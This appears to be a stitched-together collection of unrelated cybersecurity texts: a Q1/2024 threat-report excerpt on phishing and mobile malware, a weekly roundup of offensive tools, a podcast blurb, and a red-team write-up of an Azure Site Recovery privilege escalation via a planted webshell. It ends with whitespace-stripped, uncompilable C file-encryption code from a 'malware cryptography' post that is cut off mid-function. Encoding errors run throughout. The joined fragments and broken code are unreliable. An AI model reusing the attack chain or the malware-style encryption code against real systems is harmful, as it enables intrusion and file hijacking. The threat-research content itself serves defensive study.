The graph showing risk ratio over time exhibits less volatility compared to the previous period. In Q1/2024, the risk did not significantly change over time and rose slightly by the end of the quarter. We can observe that the threat is still widely spread around the globe, and we anticipate seeing even more of these attacks in the future.
Phishing: Reaching New Hights
Phishing is a type of online scam where fraudsters attempt to obtain sensitive information including passwords or credit card details by posing as a trustworthy entity in an electronic communication, such as an email, text message, or instant message. The fraudulent message usually contains a link to a fake website that looks like the real one, where the victim is asked to enter their sensitive information.
And now we come to the final, and most classic,Β category under web threats: Phishing. Like nearly all web threats, this category saw an increase in activity in Q1/2024, continuing the increase trend that weβve witnessed over the last four quarter.Β
Weβve also observed that attackers are continuing to make heavy use of file sharing via InterPlanetary File System (IPFS) infrastructure β to spread their phishing content.
Our statistics show that the most frequently targeted brand on IPFS is Microsoft, which currently accounts for up to 20% of blocked attacks. At the same time, we see that these threats were most visible at the end of Q1/2024.
One of the most interesting phishing campaigns for this quarter was the wave of Russian-language phishing PDFs targeting bank users.Β
Based on the content of the PDF, this campaign was developed to target the customers of Tinkoff Bank, and from the data we can see that the most hits are registered in Latvia.
This campaign generated hundreds of PDF samples, with different names, while the appearance mostly stayed the same. All extracted URLs pointed to the same domain.
The main domain to which the URL is redirected is xsph[.]ru. This domain acts as a hub for many other types of malware.Β
A command-and-control server, such as one hosted at βthe-packaging-experts[.]co.ukβ could be accessed by malicious programs by abusing this event. This then redirects to βhttp://a0942143[.]xsph[.]ru/tin/cabinet/capcha/β and checks CAPTCHA to verify that the user is human, then potentially receives instructions or downloading additional payloads. Threat actors frequently employ this strategy to avoid being discovered by security solutions, using a genuine website as a front for criminal activity.
The first quarter of 2024 brings with it several interesting developments within the mobile threat landscape. Adware has once again snuck into the PlayStore, this time in the form of a Minecraft clone game app. Meanwhile, MoqHao, a revived strain of banker, obtained the ability to auto-start on victimsβ devices once installed, displaying phishing messages on the target device. We also saw GoldPickaxe target both Android and iOS users in Vietnam and Thailand, attempting to steal facial recognition biometrics that are then used in fraudulent payments.
State sponsored spyware was also brought back into focus with governments investigating the scope of its use on citizens, while Apple highlighted its threat notifications sent to victims of these sophisticated spywares.Β
Fake romance lures were also found, this time by VajraSpy, to entice victims into installing a spyware in India and Pakistan with the intent of extracting data and spying on their devices.
Finally, SpyLoans continue to spread on and off the PlayStore, enticing users with promises of quick cash but instead targeting them and their contacts with harassment and blackmail.
Web Threat Data within the Mobile Landscape
Over the last few quarters, weβve started to include web threat data in our mobile threat telemetry.Β Scams are again at the top of the threat list in the mobile sphere, with a 61% increase in risk ratio compared to last quarter. This is followed by phishing and malvertising, both seeing a 19% increase in risk ratio. The increased prevalence of web threats has significantly reduced the risk ratio of traditional on-device malware such as adware, droppers and others.
Most blocked attacks on mobile devices in Q1/2024 were web-based, mirroring the previous quarter. Users are much more likely to encounter phishing websites, scams, malvertising and other web threats than ever before. These threats can come in a variety of formats such as private messages, SMS, and emails but also redirects on less reputable sites, unwanted pop ups and through other avenues.
In contrast to these types of mobile scams, traditional on-device malware requires a more complex infection vector where the user must also install the malware. For proper functionality of most mobile malware, permissions need to be granted by the user first, which again lowers the chances of malicious activity being triggered.
Hence, blocking web-threat based attacks is beneficial for the security of mobile devices, as malware actors often use them as an entry point to get the payload onto the mobile device of their victims.
Adware Sneaks into the PlayStore Again
Adware threats on mobile phones refer to applications that display intrusive out-of-context adverts to users with the intent of gathering fraudulent advertising revenue. This malicious functionality is often delayed until sometime after installation and coupled with stealthy features such as hiding the adware app icon to prevent removal. Adware mimics popular apps such as games, camera filters, and wallpaper apps, to name a few.
Adware stays on top this quarter as the most prevalent on-device malware threat facing mobile users. Continuing to bring in fraudulent advertising revenue at the expense of the user experience of its victims, it again makes its way into the PlayStore to increase its global spread. We also observe third party stores distributing older adware families that are no longer present on the PlayStore.
HiddenAds are the most common type of adware this quarter, often hiding their icons once installed on victimsβ devices or performing hidden actions in the background with the intent of gathering fraudulent ad views, unbeknownst to the victim. FakeAdBlockers and Mobidash are close behind, often masking as re-packed games that bring with them full screen out of context ads or spam notifications that bother their victims. These continue to spread through third party apps stores and malvertising on less reputable sites that redirect users to download these types of adware.
Of note this quarter is the resurgence of a previously discovered adware discussed in the Q2/2023 report, again appearing in the PlayStore with altered versions of the original adware. These Minecraft clone apps draw in millions of downloads due to the popularity of the original game, then proceed to exploit advertising SDKs to display adverts in the background, raking in ad revenue. This fraudulent activity impacts the advertising ecosystem on mobile devices and contributes to data and battery drainage on the victimβs device.
We see a significant decrease in risk ratio this quarter in mobile adware. SocialBar has mostly subsided in comparison to last quarter, accounting for the lower numbers. Alongside this, HiddenAds, FakeAdBlockers, and Mobidash have all experienced a drop in risk ratio this quarter.
Brazil, India and Argentina have the most protected users this quarter, as was the case last quarter. Egypt, Philippines and Oman have the highest risk ratios, meaning users are most likely to encounter adware in these countries, according to our telemetry.
New Auto-Starting Bankers Threaten Mobile Users
Bankers are a sophisticated type of mobile malware that targets banking details, cryptocurrency wallets, and instant payments with the intent of extracting money. Generally distributed through phishing messages or fake websites, Bankers can take over a victimβs device by abusing the accessibility service. Once installed and enabled, they often monitor 2FA SMS messages and may display fake bank overlays to steal login information.
Mobile bankers expanded their feature set in Q1/2024 with an unexpected evolution: the ability to auto-start after installation without the need for user input, as exemplified by MoqHao banker. Elsewhere, bankers are digging for gold with the new GoldPickaxe strain that targets both Android and iOS users, attempting to steal facial recognition data for further fraudulent use while emptying bank accounts. Finally, the GreenBean banker was used to redirect crypto payments by changing wallet addresses in victimβs messages. In our telemetry, we see Cerberus/Alien and BankBot with the most protected users, while RewardSteal banker makes a big splash coming in third, mainly targeting India.
We see another comeback with upgrades, as the MoqHao banker introduces the ability to auto execute after installation through using Androidβs inbuilt Contact Provider service. By having this as the first activity in the app manifest with special metadata, it is executed as soon as the app is installed, enabling it to trigger malicious services before it is run for the first time by the user. Once installed and running, MoqHao starts to display phishing messages attempting to trick the user into providing their banking details. It also harvests contact details and SMS messages and sends these away to a C&C server. Interestingly, while the banker has preset country specific phishing messages, it can also dynamically load messages from Pinterest profile descriptions specifically setup for this purpose, a very odd way of delivering tailored messages to its victims. The banker has been distributed through fake phishing SMS messages, often pretending to be a delivery service and mostly targeting users in Japan, South Korea, Germany, France, and India.
GoldPickaxe, a banker targeting both Android and iOS, has emerged and is targeting victims in Thailand and Vietnam. Likely from the same threat actors behind GoldDigger, a previously discussed banker, this new strain focuses on extracting personal information and can even harvest facial recognition data for fraudulent access to victimβs bank accounts. This is likely in response to both the Bank of Thailand and the State Bank of Vietnam issuing statements advising or mandating the use of facial biometric verification for payments in the coming months.Β
On iOS, the threat actors initially used TestFlight, a beta testing tool within the iOS ecosystem, to distribute the iOS malware. Once Apple took down the offending banker apps, they switched to using Mobile Device Management (MDM) profiles, sending download links to victims. If the victim downloaded and installed the MDM profile, the banker would gain complete control over the device. After the complex infection process is complete, GoldPickaxe can extract photos, SMS messages and even request to capture the victimβs ID card and face. These are then used to initiate fraudulent bank payments, with reports of victims losing significant sums of money after being asked to do facial recognition scans by GoldPickaxe.
A new banker called GreenBean has been spotted spreading through a fake cryptocurrency website. Targeting users in China and Vietnam, the banker focuses on cryptocurrency wallets and payment platforms as well as traditional banking platforms. It uses the Accessibility service to gather sensitive information, login details, photos and saved wallet passwords, then sends these away to its C&C. GreenBean is also able to dynamically detect and change crypto wallet addresses it detects within messaging applications such as WeChat, redirecting a payment to its own wallet address, stealing money from victims. Additionally, the banker can stream video from the infected device, keeping an eye on its victims and potentially gaining access to sensitive information.
Breaking the trend of decline from previous quarters, bankers mostly maintain their prevalence this quarter. It is likely that the introduction of various new strains this quarter has contributed to their steadying numbers. We also observed the return of SMS and messaging applications as infection vectors, used by strains such as FluBot in the past.
Turkey has the highest risk ratio for bankers in Q1/2024. We also witnessed a notable rise in risk ratio in India, where the RewardSteal banker is gaining ground. It appears the focus this quarter has shifted towards Asia, with countries such South Korea, Japan, Thailand and Vietnam being the targets of several new strains of bankers.
State Sponsored Spyware Continues to Be a Sophisticated ThreatΒ
Spyware is used to spy on unsuspecting victims with the intent of extracting personal information such as messages, photos, location, or login details. It uses fake adverts, phishing messages, and modifications of popular applications to spread and harvest user information. State backed commercial spyware is becoming more prevalent and is used to target individuals with 0-day exploits.
Mirroring last quarter, Spymax is the most prevalent strain of spyware this quarter, followed by RealRAT, SexInfoSteal, and malicious WAMods. We also saw a few new spyware entries this quarter alongside the return of updated existing strains. Of note are official Apple threat notifications sent to affected users with iOS devices, alerting them when they have been targeted by state sponsored sophisticated spyware attacks. We see VajraSpy spreading in the PlayStore, targeting victims in Pakistan with the ability to steal sensitive data. DogeRAT, a repurposed RainbowRAT clone, makes another entrance on Github with updated and paid features. Finally, SpyLoans continue their blackmailing streak on and off the PlayStore, threatening users worldwide.
News of state sponsored spyware has been doing the rounds for at least a decade now, with examples such as the infamous NSO Group Pegasus dating back to 2016, discussed in the Q3/2021 report. Since 2021, Apple has started issuing threat notifications to potential victims, alerting them if they have been targeted by what Apple believes to be state sponsored or mercenary spyware. These attacks are often highly sophisticated, sometimes using multiple zero-day exploits to break into iOS devices without user interaction, with the intent of spying on their victims and extracting personal information such as SMS messages, contacts and photos. There has been more focus on the use of such spyware by governments, with Poland recently launching a probe into the use of Pegasus by the government, which allegedly targeted close to 600 individuals in Poland. Due to the high cost of such attacks, the attackers are targeting only individuals of interest, NGOs, etc. Users should take extra precautions, such as enabling Lockdown mode on iOS devices and keeping their device up to date with latest security updates.
VajraSpy, an upgraded spyware seen in previous years, has made it onto the PlayStore, targeting users in India and Pakistan. Masquerading as messaging and dating apps, victims were likely approached under the guise of a romantic encounter, where threat actors encouraged victims to download the spyware apps to continue their interaction. It appears there were three distinct versions of the malware, two of which were messaging applications with the ability to extract SMS messages, WhatsApp conversations and photos, the more advanced version even able to record audio and video, log keystrokes, and listen in on phone calls. The third version disguised itself as a news app and didnβt request any dangerous permissions. Despite this, it was able to steal contacts and various documents and files from external storage.
Github is again being used for distribution of potential malware in this case DogeRAT. This update appears to be a repurposed version of RainbowRAT, and even features a paid version that promises to be undetectable by antivirus in addition to having the ability to extract all photos on a device, screenshot the victimβs screen and provide a keylogger to track inputs. While dangerous, open repositories such as this one offer an interesting insight into the operation of various threat actors. Normally, threat groups try to hide their activity to evade detection and remain under the radar for as long as possible to avoid takedowns and antivirus detection.
SpyLoans continue to reign on the PlayStore, targeting victims in need of quick cash with promises of easy payments, low interest rates and hassle-free setup. Numerous apps have been taken down from the PlayStore, as discussed in previous quarters, but new ones keep popping up. The actors behind these apps have also taken to using third party app stores or even direct messaging to entice victims into downloading their malware. Once installed, the SpyLoans generally harvest contacts, photos and SMS messages under the guise of a credit check. This data is then used to harass and blackmail victims, in some cases even threating violence. Users are advised to stick to official banks when in need of a loan, to avoid SpyLoan apps.Β
The risk ratio for mobile spyware has remained steady compared to Q4/2023, with a very slight decrease in prevalence of spyware in our telemetry. The continued spread of SpyLoans may have contributed to this.
Yemen has the highest risk ratio this quarter, followed by Turkey, Egypt and Pakistan. We saw VajraSpy mainly focus on Pakistan this quarter, where we do see an increase in risk ratio. Brazil and the US have the highest number of protected users.
Jakub VΓ‘vra, Malware Analyst
Malware researchers
Adolf StΕedaΒ Alexej SavΔinΒ David Γlvarez David JursaΒ Igor MorgensternΒ Jakub KΕoustekΒ Jakub VΓ‘vraΒ Jan RubΓnΒ Jan VojtΔΕ‘ekΒ Ladislav ZezulaΒ Luigino CamastraΒ Luis CorronsΒ Martin ChlumeckΓ½Β MatΔj KrΔmaΒ Michal SalΓ‘tΒ OndΕej MokoΕ‘Β Prabhakaran Ravichandhiran VladimΓr Ε½alud
Last Week in Security is a summary of the interesting cybersecurity news, techniques, tools and exploits from the past week. This post covers 2024-05-06 to 2024-05-13.
A joint statement from UniSuper CEO Peter Chun, and Google Cloud CEO, Thomas Kurian - When the Google Cloud CEO has to make a statement, you know it's a big deal. UniSuper, an Australian superannuation fund, had their entire Google Cloud account deleted in "an isolated, one-of-a-kind occurrence." They were saved only because they kept a backup totally outside of Google Cloud. This will be a wild one for your tabletop exercises.
How Did Authorities Identify the Alleged Lockbit Boss? - Last week global law enforcement arrested the alleged leader of the LockBit ransomware gang (known online as "LockBitSupp"). Krebs has the details on how they tracked him down.
Marshal Like a Boss With Reflective Loading in C# - This post shows how reflective loading can be combined with storing a DLL in resources to marshal functions from it into managed runtime without the need of dropping any artifacts on disk.
Custom Beacon Artifacts - Blog post explaining how to create custom Beacon artifacts for Cobalt Strike by modifying and building executable templates in C++ and Rust, allowing for the injection and execution of Beacon shellcode in memory without detection.
When "Phish-Proof" Gets Hooked - How a red team revealed a vulnerability in Okta FastPass, by exploiting the transition from the Loopback flow to the Custom URL flow, bypassing anti-phishing protections. So much Okta tradecraft lately.
Today I Learned - Zsh History Timestamps - In Zsh, commands executed during a session are logged with timestamps, but these timestamps reset upon reboot or session closure, making it useful for incident response in systems where Zsh is the default shell.
Abusing Azure Logic Apps - Part 1 - Looking forward to this series. How attackers can abuse storage account privileges linked with a logic app to gain unauthorized access, execute system commands, and create workflows, focusing on the relationship between logic apps and storage accounts.
Bypassing WAFs to Exploit CSPT Using Encoding Levels - How to exploit Client Side Path Traversal (CSPT) vulnerabilities by bypassing Web Application Firewalls (WAFs) using different encoding levels to execute attacks such as cross-site scripting (XSS).
Kerberos Delegation Test App - Rasta built a ASP.NET Core to understand Kerberos protocol by capturing and decrypting real traffic.
Digging for SSRF in NextJS apps - The blog post explores the potential for SSRF vulns in NextJS applications due to misconfigurations, particularly focusing on the _next/image component and demonstrating how attackers can exploit these weaknesses to perform SSRF attacks, including a detailed explanation of bypassing security measures and a newly discovered SSRF vulnerability that was assigned CVE-2024-34351.
Hacking Apple - SQL Injection to Remote Code Execution - Researchers from ProjectDiscovery identified a critical SQL injection vulnerability in Apple's Book Travel portal using Mura/Masa CMS, led to RCE, and responsibly disclosed it. Wicked!
Poisoning Pipelines: Azure DevOps Edition - DevOps and CI/CD solutions have come under fire recently, and this post shows how to abuse Azure DevOps to execute arbitrary code.
Emulation with Qiling - Qiling has some cool features, like the ability to fake file systems, hook functions, and even modify registers on the fly. This post shows how to use Qiling to emulate NEXXT Polaris 150 travel router.
XZ Utils Made Me Paranoid - If you too are paranoid due to the XZ backdoor incident, check out VerifyELF a tool to validate that there are no hooks installed into the running processes, and if there are to print out that there is and what offset the first difference is, or print out all differences.
Tools and Exploits
IconJector - Unorthodox and stealthy way to inject a DLL into the explorer using icons.
TrollDump - Injects a 64-bit managed DLL into a 64-bit managed or unmanaged process using setwindowshook.
grype - A vulnerability scanner for container images and filesystems.
parsnip - Parsnip is a program developed to assist in the parsing of protocols using the open source network security monitoring tool Zeek.
vulnrichment - A repo to conduct vulnerability enrichment.
ImmoralFiber - Fibers are an optional and largely undocumented component of the Windows operating system, existing only in user mode.
IPPrintC2 - PoC for using MS Windows printers for persistence / command and control via Internet Printing.
New to Me and Miscellaneous
This section is for news, techniques, write-ups, tools, and off-topic items that weren't released last week but are new to me. Perhaps you missed them too!
Raspberry Pi Connect - "...a secure and easy-to-use way to access your Raspberry Pi remotely, from anywhere on the planet, using just a web browser."
gcp-iam-brute - GCP IAM Brute is a tool that leverages the testIamPermissions feature in Google Cloud Platform (GCP) to perform fuzz testing for different permissions within GCP.
stalker - Stalker, the Extensible Attack Surface Management tool.
cloudmapper - CloudMapper helps you analyze your Amazon Web Services (AWS) environments.
waymore - Find way more from the Wayback Machine, Common Crawl, Alien Vault OTX, URLScan & VirusTotal!.
Techniques, tools, and exploits linked in this post are not reviewed for quality or safety. Do your own research and testing.
Today on Cyber Work, weβre talking about last Septemberβs breach of the MGM Grand Casino chain, an attack that lead to a week of tech failure, downtime and over a hundred million dollars in lost revenue. The attackers were able to get in via a point that my guest, Aaron Painter of Nametag Inc, said is a common point of failure: the request for a password and credential reset from the helpdesk, and the ever-frustrating βsecurity questionsβ approach to making sure you are who you are. Nametag is built to create an alternative to security questions and go beyond MFA to create a method of verification that is even resistant to AI Deepfake attempts!Β
This conversation goes into lots of interesting spaces, including career mapping, the importance of diverse design teams and the benefits of security awareness training, plus you get to learn about an amazing piece of emergent tech!
0:00 - A new method of online verification 3:15 - First getting into cybersecurity and computers 7:03 - Aaron Painter's work experiencesΒ 10:37 - Learning cybersecurity around the world 11:32 - Starting Nametag 16:25 - Average work week as Nametag CEO 19:10 - Cybersecurity learning methods 21:15 - The MGM cyberattack explained 26:07 - MGM fail safes bad actors surpassedΒ 29:26 - Security awareness trainingΒ 31:35 - Are data breaches the new normal 34:05 - How Nametag safeguards online data 37:59 - AI deepfakesΒ 40:19 - Using Nametag 42:20 - How to learn AI deep fake defense 44:14 - Design choices in digital identityΒ 45:54 - Different backgrounds in cybersecurityΒ 46:59 - Aaron Painter's favorite part of his work 48:01 - Best cybersecurity career advice 49:00 - Learn more about Nametag 50:06 - Outro
β Get your FREE cybersecurity training resources: https://www.infosecinstitute.com/free β View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast
About Infosec Infosecβs mission is to put people at the center of cybersecurity. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and phishing training to stay cyber-safe at work and home. More than 70% of the Fortune 500 have relied on Infosec Skills to develop their security talent, and more than 5 million learners worldwide are more cyber-resilient from Infosec IQβs security awareness training. Learn more at infosecinstitute.com.
Adversary Academy recently completed a long-term red team (assume breach) assessment for a large restaurant franchise. While performing the assessment an Azure Site Recovery server was found to be an attractive target in the environment. Part of our service offering is our targeted vulnerability research (TVR) program. The challenge Iβve seen with most pentest or redteam providers is that there is typically a lack of vulnerability and exploit research capabilities. Meaning if there are not known vulnerabilities with public exploit code affecting a network or environment the pentest provider can't find exploitable systems. Pentest providers typically lack full-time exploit and vulnerability development capabilities. In order to address that issue we run a program that allows our researchers to spend time attacking interesting systems theyβve encountered on customer networks, long after the engagement is overβ¦ or in this case during an engagement.
Typically on a penetration test a tester's βspidey sensesβ will go off at some point when you encounter a system that just feels vulnerable, or impactful if it were to be vulnerable. Our spidey senses went off when we gained access to an Azure Site Recovery (ASR) server because there appeared to be a large number of services communicating both inbound and outbound to the server as well as traffic to the customer's Azure environment. Documentation revealed that when fully deployed ASR has rights to read and write virtual machines from on-site VMware or Hyper-v systems and upload them to the Azure cloud for cloud-to-cloud disaster recovery.
While performing the engagement the research phase began immediately and we discovered a number of interesting bugs on the SRM server after we gained access toΒ it.
Beginning our research we found that Azure SRM is site disaster recovery for one Azure region to another region or physical to theΒ cloud.
SRM can replicate on-premises hypervisors VMware, Hyper-V, physical servers (Windows and Linux), or Azure Stacks to AzureΒ sites.
Basically, Microsoft said, βWe will support anything other than AWS orΒ GCP!β
As we started our research we found roughly 20 previous CVEs affecting Microsoft Azure SRM, most were EoP and most were found in 2022. Hopefully, we could find something new.
Our research mindset typically includes mapping out application behaviors and what could go wrong with misconfigurations, logic flaws, or historically problematic issues (in this caseΒ EoP).
We started by reviewing features, capabilities, and processes in Azure SRM and foundΒ that:
the SRM process and config server runs a web server listening for replication events to the backup server on portΒ 9443
Process server must have permission to read all properties from all systems being backedΒ up
Process server must have the ability to read/write to Azure for synchronization, and deployment ofΒ agent
SRM server connects to clients via WMI/ credentials stored in theΒ DB
This WMI connection deploys the SRM mobility agent responsible for the agent to serverΒ comms.
Once this behavior was documented we decided that the web server privileges might be important, and the WMI credentials stored in the local database were definitely valuable targets to begin attacking.
Reviewing files accessed on startup by the services showed us that a config file named amethyst is read on startup. Here was the first bug weΒ found.
The amethyst config file contains the plaintext mysql DB root username and password, this allows us to interact with the local database asΒ root.
Connecting to the mysql database we began to debug and monitor the mysql queries that were executed by the server. Here we found our attackΒ target.
We found php code responsible for executing the query that decrypts and uses the credentials we want access to. The first roadblock encountered is that we are not able to read the Encryption.key file as a standardΒ user.
After some research and failed attempts, we found a Solution!
If the process responsible for handling the php / mysql queries has access to the key, we must become theΒ process.
As our standard user account on the server, we donβt have the SeImpersonatePrivilege, we don't have an admin account on the server either. So we needed to find a bug affecting the webΒ server.
Further research allowed us to find a directory on the server where the web server / php code isnβt properly secured. We can write a webshell to this directory and βbecomeβ the web serverΒ process.
The web services are running as IUSR which DOES have the SeImpersonatePrivilege
We then can use SEImpersonatePrivilege to read the encryption.key
The final challenge was overcoming some weird character-handling behavior by MySQL which can't handle the characters in the encryption.key inline, so store it as a variable to use the key and decrypt the admin credentials.
After discovering the bugs and disclosing the credentials used by SRM the team was able to access the Vsphere environment, took snapshots of the domain controllers, and performed offline attacks to recover Enterprise and Domain admin access. After exploiting the issues we reported the vulnerability to Microsoft and received recognition for CVE-2024β21364 with a patch becoming available several monthsΒ later.
The application code contains a hard-coded JWT signing key. This could result in an attacker forging JWT tokens to bypass authentication.
Successful exploitation of these vulnerabilities could result in an attacker bypassing authentication and gaining administrator privileges, forging JWT tokens to bypass authentication, writing arbitrary files to the server and achieving code execution, gaining access to services with the privileges of a PowerPanel application, gaining access to the testing or production server, learning passwords and authenticating with user or administrator privileges, injecting SQL syntax, writing arbitrary files to the system, executing remote code, impersonating any client in the system and sending malicious data, or obtaining data from throughout the system after gaining access to any device.
The next piece of code implemented file encryption and decryption logic via previous functions:
voidencrypt_file(constchar*inputFile,constchar*outputFile,constchar*key){HANDLEifh=CreateFileA(inputFile,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);HANDLEofh=CreateFileA(outputFile,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);if(ifh==INVALID_HANDLE_VALUE||ofh==INVALID_HANDLE_VALUE){printf("error opening file.\n");return;}LARGE_INTEGERfileSize;GetFileSizeEx(ifh,&fileSize);unsignedchar*fileData=(unsignedchar*)malloc(fileSize.LowPart);DWORDbytesRead;ReadFile(ifh,fileData,fileSize.LowPart,&bytesRead,NULL);unsignedcharkeyData[A51_KEY_SIZE];memcpy(keyData,key,A51_KEY_SIZE);// calculate the padding sizesize_tpaddingSize=(A51_BLOCK_SIZE-(fileSize.LowPart%A51_BLOCK_SIZE))%A51_BLOCK_SIZE;// pad the file datasize_tpaddedSize=fileSize.LowPart+paddingSize;unsignedchar*paddedData=(unsignedchar*)malloc(paddedSize);memcpy(paddedData,fileData,fileSize.LowPart);memset(paddedData+fileSize.LowPart,static_cast<char>(paddingSize),paddingSize);// encrypt the padded datafor(size_ti=0;i<paddedSize;i+=A51_BLOCK_SIZE){a5_1_encrypt(keyData,A51_KEY_SIZE,paddedData+i,A51_BLOCK_SIZE,paddedData+i);}// write the encrypted data to the output fileDWORDbw;WriteFile(ofh,paddedData,paddedSize,&bw,NULL);printf("a5/1 encryption successful\n");CloseHandle(ifh);CloseHandle(ofh);free(fileData);free(paddedData);}voiddecrypt_file(constchar*inputFile,constchar*outputFile,constchar*key){HANDLEifh=CreateFileA(inputFile,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);HANDLEofh=CreateFileA(outputFile,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);if(ifh==INVALID_HANDLE_VALUE||ofh==INVALID_HANDLE_VALUE){printf("error opening file.\n");return;}LARGE_INTEGERfileSize;GetFileSizeEx(ifh,&fileSize);unsignedchar*fileData=(unsignedchar*)malloc(fileSize.LowPart);DWORDbytesRead;ReadFile(ifh,fileData,fileSize.LowPart,&bytesRead,NULL);unsignedcharkeyData[A51_KEY_SIZE];memcpy(keyData,key,A51_KEY_SIZE);// decrypt the file data using A5/1 encryptionfor(DWORDi=0;i<fileSize.LowPart;i+=A51_BLOCK_SIZE){a5_1_decrypt(keyData,A51_KEY_SIZE,fileData+i,A51_BLOCK_SIZE,fileData+i);}// calculate the padding sizesize_tpaddingSize=fileData[fileSize.LowPart-1];// validate and remove paddingif(paddingSize<=A51_BLOCK_SIZE&&paddingSize>0){size_toriginalSize=fileSize.LowPart-paddingSize;unsignedchar*originalData=(unsignedchar*)malloc(originalSize);memcpy(originalData,fileData,originalSize);// write the decrypted data to the output fileDWORDbw;WriteFile(ofh,originalData,originalSize,&bw,NULL);printf("a5/1 decryption successful\n");CloseHandle(ifh);CloseHandle(ofh);free(fileData);free(originalData);}else{// invalid padding size, print an error message or handle it accordinglyprintf("invalid padding size: %d\n",paddingSize);CloseHandle(ifh);CloseHandle(ofh);free(fileData);}}
As you can see, it operates on the data in blocks of A51_BLOCK_SIZE (8) bytes and in case when file size is not a multiple of 8, just add padding logic for encrypted and decrypted data:
voidadd_padding(HANDLEfh){LARGE_INTEGERfs;GetFileSizeEx(fh,&fs);size_tpaddingS=A51_BLOCK_SIZE-(fs.QuadPart%A51_BLOCK_SIZE);if(paddingS!=A51_BLOCK_SIZE){SetFilePointer(fh,0,NULL,FILE_END);for(size_ti=0;i<paddingS;++i){charpaddingB=static_cast<char>(paddingS);WriteFile(fh,&paddingB,1,NULL,NULL);}}}voidremove_padding(HANDLEfileHandle){LARGE_INTEGERfileSize;GetFileSizeEx(fileHandle,&fileSize);// determine the padding sizeDWORDpaddingSize;SetFilePointer(fileHandle,-1,NULL,FILE_END);ReadFile(fileHandle,&paddingSize,1,NULL,NULL);// validate and remove paddingif(paddingSize<=A51_BLOCK_SIZE&&paddingSize>0){// seek back to the beginning of the paddingSetFilePointer(fileHandle,-paddingSize,NULL,FILE_END);// read and validate the entire paddingBYTE*padding=(BYTE*)malloc(paddingSize);DWORDbytesRead;if(ReadFile(fileHandle,padding,paddingSize,&bytesRead,NULL)&&bytesRead==paddingSize){// check if the padding bytes are validfor(size_ti=0;i<paddingSize;++i){if(padding[i]!=static_cast<char>(paddingSize)){// invalid padding, print an error message or handle it accordinglyprintf("invalid padding found in the file.\n");free(padding);return;}}// truncate the file at the position of the last complete blockSetEndOfFile(fileHandle);}else{// error reading the padding bytes, print an error message or handle it accordinglyprintf("error reading padding bytes from the file.\n");}free(padding);}else{// invalid padding size, print an error message or handle it accordinglyprintf("invalid padding size: %d\n",paddingSize);}}
The full source code is looks like this hack.c:
/*
* hack.c
* encrypt/decrypt file via GSM A5/1 algorithm
* author: @cocomelonc
* https://cocomelonc.github.io/malware/2024/05/12/malware-cryptography-27.html
*/#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<windows.h>#define ROL(x, y) (((x) << (y)) | ((x) >> (32 - (y))))
#define A5_STEP(x, y, z) ((x & y) ^ (x & z) ^ (y & z))
#define A51_BLOCK_SIZE 8
#define A51_KEY_SIZE 8
voida5_1_encrypt(unsignedchar*key,intkey_len,unsignedchar*msg,intmsg_len,unsignedchar*out){// initializationunsignedintR1=0,R2=0,R3=0;for(inti=0;i<64;i++){intfeedback=((key[i%key_len]>>(i/8))&1)^((R1>>18)&1)^((R2>>21)&1)^((R3>>22)&1);R1=(R1<<1)|feedback;R2=(R2<<1)|((R1>>8)&1);R3=(R3<<1)|((R2>>10)&1);}// encryptionfor(inti=0;i<msg_len;i++){intfeedback=A5_STEP((R1>>8)&1,(R2>>10)&1,(R3>>10)&1);unsignedcharkey_byte=0;for(intj=0;j<8;j++){intbit=A5_STEP((R1>>18)&1,(R2>>21)&1,(R3>>22)&1)^feedback;key_byte|=bit<<j;R1=(R1<<1)|bit;R2=(R2<<1)|((R1>>8)&1);R3=(R3<<1)|((R2>>10)&1);}out[i]=msg[i]^key_byte;}}voida5_1_decrypt(unsignedchar*key,intkey_len,unsignedchar*cipher,intcipher_len,unsignedchar*out){// initializationunsignedintR1=0,R2=0,R3=0;for(inti=0;i<64;i++){intfeedback=((key[i%key_len]>>(i/8))&1)^((R1>>18)&1)^((R2>>21)&1)^((R3>>22)&1);R1=(R1<<1)|feedback;R2=(R2<<1)|((R1>>8)&1);R3=(R3<<1)|((R2>>10)&1);}// decryptionfor(inti=0;i<cipher_len;i++){intfeedback=A5_STEP((R1>>8)&1,(R2>>10)&1,(R3>>10)&1);unsignedcharkey_byte=0;for(intj=0;j<8;j++){intbit=A5_STEP((R1>>18)&1,(R2>>21)&1,(R3>>22)&1)^feedback;key_byte|=bit<<j;R1=(R1<<1)|bit;R2=(R2<<1)|((R1>>8)&1);R3=(R3<<1)|((R2>>10)&1);}out[i]=cipher[i]^key_byte;}}voidadd_padding(HANDLEfh){LARGE_INTEGERfs;GetFileSizeEx(fh,&fs);size_tpaddingS=A51_BLOCK_SIZE-(fs.QuadPart%A51_BLOCK_SIZE);if(paddingS!=A51_BLOCK_SIZE){SetFilePointer(fh,0,NULL,FILE_END);for(size_ti=0;i<paddingS;++i){charpaddingB=static_cast<char>(paddingS);WriteFile(fh,&paddingB,1,NULL,NULL);}}}voidremove_padding(HANDLEfileHandle){LARGE_INTEGERfileSize;GetFileSizeEx(fileHandle,&fileSize);// determine the padding sizeDWORDpaddingSize;SetFilePointer(fileHandle,-1,NULL,FILE_END);ReadFile(fileHandle,&paddingSize,1,NULL,NULL);// validate and remove paddingif(paddingSize<=A51_BLOCK_SIZE&&paddingSize>0){// seek back to the beginning of the paddingSetFilePointer(fileHandle,-paddingSize,NULL,FILE_END);// read and validate the entire paddingBYTE*padding=(BYTE*)malloc(paddingSize);DWORDbytesRead;if(ReadFile(fileHandle,padding,paddingSize,&bytesRead,NULL)&&bytesRead==paddingSize){// check if the padding bytes are validfor(size_ti=0;i<paddingSize;++i){if(padding[i]!=static_cast<char>(paddingSize)){// invalid padding, print an error message or handle it accordinglyprintf("invalid padding found in the file.\n");free(padding);return;}}// truncate the file at the position of the last complete blockSetEndOfFile(fileHandle);}else{// error reading the padding bytes, print an error message or handle it accordinglyprintf("error reading padding bytes from the file.\n");}free(padding);}else{// invalid padding size, print an error message or handle it accordinglyprintf("invalid padding size: 